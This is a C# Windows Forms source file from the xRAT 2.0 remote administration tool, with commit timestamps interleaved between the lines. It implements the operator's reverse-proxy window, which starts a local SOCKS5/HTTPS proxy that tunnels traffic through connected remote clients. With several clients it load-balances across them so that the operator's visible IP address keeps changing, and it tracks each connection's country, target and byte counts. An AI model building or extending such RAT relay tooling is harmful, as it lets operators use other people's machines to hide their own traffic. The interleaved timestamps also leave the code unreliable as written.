2015-05-10 11:11:27 +00:00
using System ;
using System.Windows.Forms ;
using xServer.Core ;
using xServer.Core.ReverseProxy ;
2015-05-19 20:17:03 +00:00
using xServer.Core.Helper ;
2015-06-05 21:07:37 +00:00
using xServer.Core.Networking ;
2015-05-10 11:11:27 +00:00
namespace xServer.Forms
{
public partial class FrmReverseProxy : Form
{
2015-05-29 21:34:57 +00:00
private readonly Client [ ] _clients ;
2015-05-10 17:02:10 +00:00
private ReverseProxyServer SocksServer { get ; set ; }
2015-05-10 11:11:27 +00:00
private delegate void Invoky ( ) ;
2015-05-29 21:34:57 +00:00
private ReverseProxyClient [ ] _openConnections ;
private Timer _refreshTimer ;
2015-05-10 11:11:27 +00:00
2015-05-16 18:39:35 +00:00
public FrmReverseProxy ( Client [ ] clients )
2015-05-10 11:11:27 +00:00
{
InitializeComponent ( ) ;
2015-05-29 21:34:57 +00:00
this . _clients = clients ;
2015-05-16 18:39:35 +00:00
2015-05-29 21:34:57 +00:00
foreach ( Client t in clients )
t . Value . FrmProxy = this ;
2015-05-10 11:11:27 +00:00
}
private void FrmReverseProxy_Load ( object sender , EventArgs e )
{
2015-05-29 21:34:57 +00:00
if ( _clients . Length > 1 )
2015-05-16 18:39:35 +00:00
{
this . Text = string . Format ( "xRAT 2.0 - Reverse Proxy [Load-Balancer is active]" ) ;
2015-05-29 21:34:57 +00:00
lblLoadBalance . Text = "The Load Balancer is active, " + _clients . Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works" ;
2015-05-16 18:39:35 +00:00
}
2015-05-29 21:34:57 +00:00
else if ( _clients . Length = = 1 )
2015-05-16 18:39:35 +00:00
{
2015-05-29 21:34:57 +00:00
this . Text = string . Format ( "xRAT 2.0 - Reverse Proxy [{0}:{1}]" , _clients [ 0 ] . EndPoint . Address . ToString ( ) , _clients [ 0 ] . EndPoint . Port . ToString ( ) ) ;
2015-05-16 18:39:35 +00:00
lblLoadBalance . Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer" ;
}
2015-05-10 11:11:27 +00:00
}
private void btnStart_Click ( object sender , EventArgs e )
{
try
{
2015-05-10 17:02:10 +00:00
SocksServer = new ReverseProxyServer ( ) ;
SocksServer . OnConnectionEstablished + = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection + = socksServer_onUpdateConnection ;
2015-05-29 21:34:57 +00:00
SocksServer . StartServer ( _clients , "0.0.0.0" , ( int ) nudServerPort . Value ) ;
2015-05-10 17:02:10 +00:00
btnStart . Enabled = false ;
btnStop . Enabled = true ;
2015-05-16 15:41:28 +00:00
2015-05-29 21:34:57 +00:00
_refreshTimer = new Timer ( ) ;
_refreshTimer . Tick + = RefreshTimer_Tick ;
_refreshTimer . Interval = 100 ;
_refreshTimer . Start ( ) ;
2015-05-10 11:11:27 +00:00
}
catch ( Exception ex )
{
2015-05-29 21:34:57 +00:00
MessageBox . Show (
string . Format (
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues" ,
ex . Message ) , "" , MessageBoxButtons . OK , MessageBoxIcon . Error ) ;
2015-05-10 17:02:10 +00:00
btnStop_Click ( sender , null ) ;
2015-05-10 11:11:27 +00:00
}
}
2015-05-16 15:41:28 +00:00
void RefreshTimer_Tick ( object sender , EventArgs e )
2015-05-10 11:11:27 +00:00
{
2015-05-16 15:41:28 +00:00
try
2015-05-10 11:11:27 +00:00
{
2015-05-16 15:41:28 +00:00
lock ( SocksServer )
2015-05-10 11:11:27 +00:00
{
2015-05-29 21:34:57 +00:00
this . _openConnections = SocksServer . OpenConnections ;
LvConnections . VirtualListSize = this . _openConnections . Length ;
2015-05-16 15:41:28 +00:00
LvConnections . Refresh ( ) ;
}
}
catch { }
}
2015-05-10 13:34:49 +00:00
2015-05-16 15:41:28 +00:00
void socksServer_onUpdateConnection ( ReverseProxyClient proxyClient )
{
2015-05-10 11:11:27 +00:00
2015-05-16 15:41:28 +00:00
}
2015-05-10 15:39:20 +00:00
2015-05-16 15:41:28 +00:00
void socksServer_onConnectionEstablished ( ReverseProxyClient proxyClient )
{
2015-05-10 15:39:20 +00:00
2015-05-10 11:11:27 +00:00
}
private void btnStop_Click ( object sender , EventArgs e )
{
2015-05-29 21:34:57 +00:00
if ( _refreshTimer ! = null )
_refreshTimer . Stop ( ) ;
2015-05-10 17:02:10 +00:00
btnStart . Enabled = true ;
btnStop . Enabled = false ;
if ( SocksServer ! = null )
SocksServer . Stop ( ) ;
2015-05-10 11:11:27 +00:00
try
{
2015-05-10 17:02:10 +00:00
SocksServer . OnConnectionEstablished - = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection - = socksServer_onUpdateConnection ;
2015-05-10 11:11:27 +00:00
}
catch { }
}
private void FrmReverseProxy_FormClosing ( object sender , FormClosingEventArgs e )
{
//Stop the proxy server if still active
2015-05-10 17:02:10 +00:00
btnStop_Click ( sender , null ) ;
2015-05-10 17:42:17 +00:00
2015-05-29 21:34:57 +00:00
for ( int i = 0 ; i < _clients . Length ; i + + )
2015-05-16 18:39:35 +00:00
{
2015-05-29 21:34:57 +00:00
if ( _clients [ i ] . Value ! = null )
_clients [ i ] . Value . FrmProxy = null ;
2015-05-16 18:39:35 +00:00
}
2015-05-10 17:02:10 +00:00
}
private void nudServerPort_ValueChanged ( object sender , EventArgs e )
{
2015-05-16 15:41:28 +00:00
lblProxyInfo . Text = string . Format ( "Connect to this SOCKS5/HTTPS Proxy: 127.0.0.1:{0} (no user/pass)" , nudServerPort . Value ) ;
}
private void LvConnections_RetrieveVirtualItem ( object sender , RetrieveVirtualItemEventArgs e )
{
lock ( SocksServer )
{
2015-05-29 21:34:57 +00:00
if ( e . ItemIndex < _openConnections . Length )
2015-05-16 15:41:28 +00:00
{
2015-05-29 21:34:57 +00:00
ReverseProxyClient Connection = _openConnections [ e . ItemIndex ] ;
2015-05-16 15:41:28 +00:00
e . Item = new ListViewItem ( new string [ ]
{
2015-05-16 18:39:35 +00:00
Connection . Client . EndPoint . ToString ( ) ,
Connection . Client . Value . Country ,
Connection . TargetServer + ( Connection . HostName . Length > 0 ? " (" + Connection . HostName + ")" : "" ) ,
2015-05-16 15:41:28 +00:00
Connection . TargetPort . ToString ( ) ,
2015-05-19 20:17:03 +00:00
Helper . GetDataSize ( Connection . LengthReceived ) ,
Helper . GetDataSize ( Connection . LengthSended ) ,
2015-05-16 15:41:28 +00:00
Connection . Type . ToString ( )
} ) { Tag = Connection } ;
}
}
}
private void killConnectionToolStripMenuItem_Click ( object sender , EventArgs e )
{
lock ( SocksServer )
{
if ( LvConnections . SelectedIndices . Count > 0 )
{
//copy the list, it could happen the suddenly the items de-select
int [ ] items = new int [ LvConnections . SelectedIndices . Count ] ;
LvConnections . SelectedIndices . CopyTo ( items , 0 ) ;
foreach ( int index in items )
{
2015-05-29 21:34:57 +00:00
if ( index < _openConnections . Length )
2015-05-16 15:41:28 +00:00
{
2015-05-29 21:34:57 +00:00
ReverseProxyClient connection = _openConnections [ index ] ;
if ( connection ! = null )
2015-05-16 15:41:28 +00:00
{
2015-05-29 21:34:57 +00:00
connection . Disconnect ( ) ;
2015-05-16 15:41:28 +00:00
}
}
}
}
}
2015-05-10 11:11:27 +00:00
}
}
2015-05-17 10:11:40 +00:00
}